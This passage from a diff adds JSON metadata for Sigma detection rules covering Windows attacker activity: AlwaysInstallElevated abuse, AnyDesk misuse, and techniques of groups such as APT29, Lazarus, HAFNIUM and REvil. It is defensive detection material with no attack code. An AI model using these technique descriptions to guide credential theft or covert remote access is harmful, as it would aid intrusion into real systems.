Mangatas Tondang (rule), oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", + "value": "Always Install Elevated MSI Spawned Cmd And Powershell" + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "System administrator usage", + "Anti virus products" + ], + "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", + "value": "Always Install Elevated Windows Installer" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/11", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_anydesk.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", + "value": "Use of Anydesk Remote Access Software" + }, + { + "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/28", + "falsepositive": [ + "Legitimate piping of the password to anydesk", + "Some FP could occure with similar tools that uses the same command line '--set-password'" + ], + "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", + "value": "AnyDesk Inline Piped Password" + }, + { + "description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", + "meta": { + "author": "Ján Trenčanský", + "creation_date": "2021/08/06", + "falsepositive": [ + "Legitimate deployment of AnyDesk" + ], + "filename": "proc_creation_win_anydesk_silent_install.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", + "https://support.anydesk.com/Automatic_Deployment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", + "value": "AnyDesk Silent Installation" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/20", + "falsepositive": [ + "Legitimate use of AnyDesk from a non-standard folder" + ], + "filename": "proc_creation_win_anydesk_susp_folder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", + "value": "Use of Anydesk Remote Access Software from Suspicious Folder" + }, + { + "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2022/02/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_actinium_persistence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ] + }, + "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", + "value": "Scheduled Task WScript VBScript" + }, + { + "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/12/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_apt29_thinktanks.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" + ], + "tags": [ + "attack.execution", + "attack.g0016", + "attack.t1059.001" + ] + }, + "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", + "value": "APT29" + }, + { + "description": "Detects activity that could be related to Baby Shark malware", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_babyshark.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1218.005" + ] + }, + "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", + "value": "Baby Shark Activity" + }, + { + "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "attack.t1003.003" + ] + }, + "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", + "value": "Judgement Panda Credential Access Activity" + }, + { + "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2019/10/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_bluemashroom.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", + "value": "BlueMashroom DLL Load" + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "meta": { + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2018/03/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_chafer_mar18.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", + "value": "Chafer Activity" + }, + { + "description": "Detects wmiexec vbs version execution by wscript or cscript", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/04/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_cloudhopper.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0045", + "attack.t1059.005" + ] + }, + "uuid": "966e4016-627f-44f7-8341-f394905c361f", + "value": "WMIExec VBS Script" + }, + { + "description": "Detects CrackMapExecWin Activity as Described by NCSC", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/04/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_dragonfly.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", + "https://attack.mitre.org/software/S0488/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" + ], + "tags": [ + "attack.g0035", + "attack.credential_access", + "attack.discovery", + "attack.t1110", + "attack.t1087" + ] + }, + "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", + "value": "CrackMapExecWin" + }, + { + "description": "Detects Elise backdoor acitivty as used by APT32", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/01/31", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_elise.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" + ], + "tags": [ + "attack.g0030", + "attack.g0050", + "attack.s0081", + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", + "value": "Elise Backdoor" + }, + { + "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/09/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", + "https://twitter.com/cyb3rops/status/1168863899531132929", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", + "value": "Emissary Panda Malware SLLauncher" + }, + { + "description": "Detects EmpireMonkey APT reported Activity", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/04/02", + "falsepositive": [ + "Very Unlikely" + ], + "filename": "proc_creation_win_apt_empiremonkey.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", + "value": "Empire Monkey" + }, + { + "description": "Detects a specific tool and export used by EquationGroup", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", + "https://securelist.com/apt-slingshot/84312/", + "https://twitter.com/cyb3rops/status/972186477512839170", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" + ], + "tags": [ + "attack.g0020", + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", + "value": "Equation Group DLL_U Load" + }, + { + "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_evilnum_jul20.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", + "value": "EvilNum Golden Chickens Deployment via OCX Files" + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "meta": { + "author": "Tim Burrell", + "creation_date": "2020/02/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_gallium.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ] + }, + "uuid": "18739897-21b1-41da-8ee4-5b786915a676", + "value": "GALLIUM Artefacts" + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "meta": { + "author": "Tim Burrell", + "creation_date": "2020/02/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_gallium_sha1.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ] + }, + "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", + "value": "GALLIUM Artefacts" + }, + { + "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2022/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0047", + "attack.t1021.005" + ] + }, + "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", + "value": "Suspicious UltraVNC Execution" + }, + { + "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_greenbug_may20.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" + ], + "tags": [ + "attack.g0049", + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "3711eee4-a808-4849-8a14-faf733da3612", + "value": "Greenbug Campaign Indicators" + }, + { + "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_hafnium.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", + "https://twitter.com/BleepinComputer/status/1372218235949617161", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.t1053" + ] + }, + "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", + "value": "Exchange Exploitation Activity" + }, + { + "description": "Detects Hurricane Panda Activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_hurricane_panda.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.g0009", + "attack.t1068" + ] + }, + "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", + "value": "Hurricane Panda Activity" + }, + { + "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0010", + "attack.credential_access", + "attack.t1003.001", + "attack.exfiltration", + "attack.t1560.001" + ] + }, + "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", + "value": "Judgement Panda Exfil Activity" + }, + { + "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", + "meta": { + "author": "Markus Neis, Swisscom", + "creation_date": "2020/06/18", + "falsepositive": [ + "Will need to be looked for combinations of those processes" + ], + "filename": "proc_creation_win_apt_ke3chang_regadd.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" + ], + "tags": [ + "attack.g0004", + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", + "value": "Ke3chang Registry Key Modifications" + }, + { + "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/04/20", + "falsepositive": [ + "Should not be any false positives" + ], + "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1106" + ] + }, + "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", + "value": "Lazarus Activity" + }, + { + "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/12/23", + "falsepositive": [ + "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" + ], + "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://www.hvs-consulting.de/lazarus-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", + "value": "Lazarus Activity" + }, + { + "description": "Detects different loaders as described in various threat reports on Lazarus group activity", + "meta": { + "author": "Florian Roth, wagga", + "creation_date": "2020/12/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_lazarus_loader.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hvs-consulting.de/lazarus-report/", + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", + "value": "Lazarus Loaders" + }, + { + "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", + "meta": { + "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", + "creation_date": "2020/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", + "value": "Lazarus Session Highjacker" + }, + { + "description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_mercury.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.g0069" + ] + }, + "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", + "value": "MERCURY Command Line Patterns" + }, + { + "description": "Detecting DNS tunnel activity for Muddywater actor", + "meta": { + "author": "@caliskanfurkan_", + "creation_date": "2020/06/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", + "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "36222790-0d43-4fe8-86e4-674b27809543", + "value": "DNS Tunnel Technique from MuddyWater" + }, + { + "description": "Detects specific process parameters as used by Mustang Panda droppers", + "meta": { + "author": "Florian Roth, oscd.community", + "creation_date": "2019/10/30", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_mustangpanda.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", + "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ] + }, + "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", + "value": "Mustang Panda Dropper" + }, + { + "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_revil_kaseya.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", + "https://www.joesandbox.com/analysis/443736/0/html", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.g0115" + ] + }, + "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", + "value": "REvil Kaseya Incident Malware Patterns" + }, + { + "description": "Detects Silence downloader. These commands are hardcoded into the binary.", + "meta": { + "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", + "creation_date": "2019/11/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_silence_downloader_v3.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.discovery", + "attack.t1057", + "attack.t1082", + "attack.t1016", + "attack.t1033", + "attack.g0091" + ] + }, + "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", + "value": "Silence.Downloader V3" + }, + { + 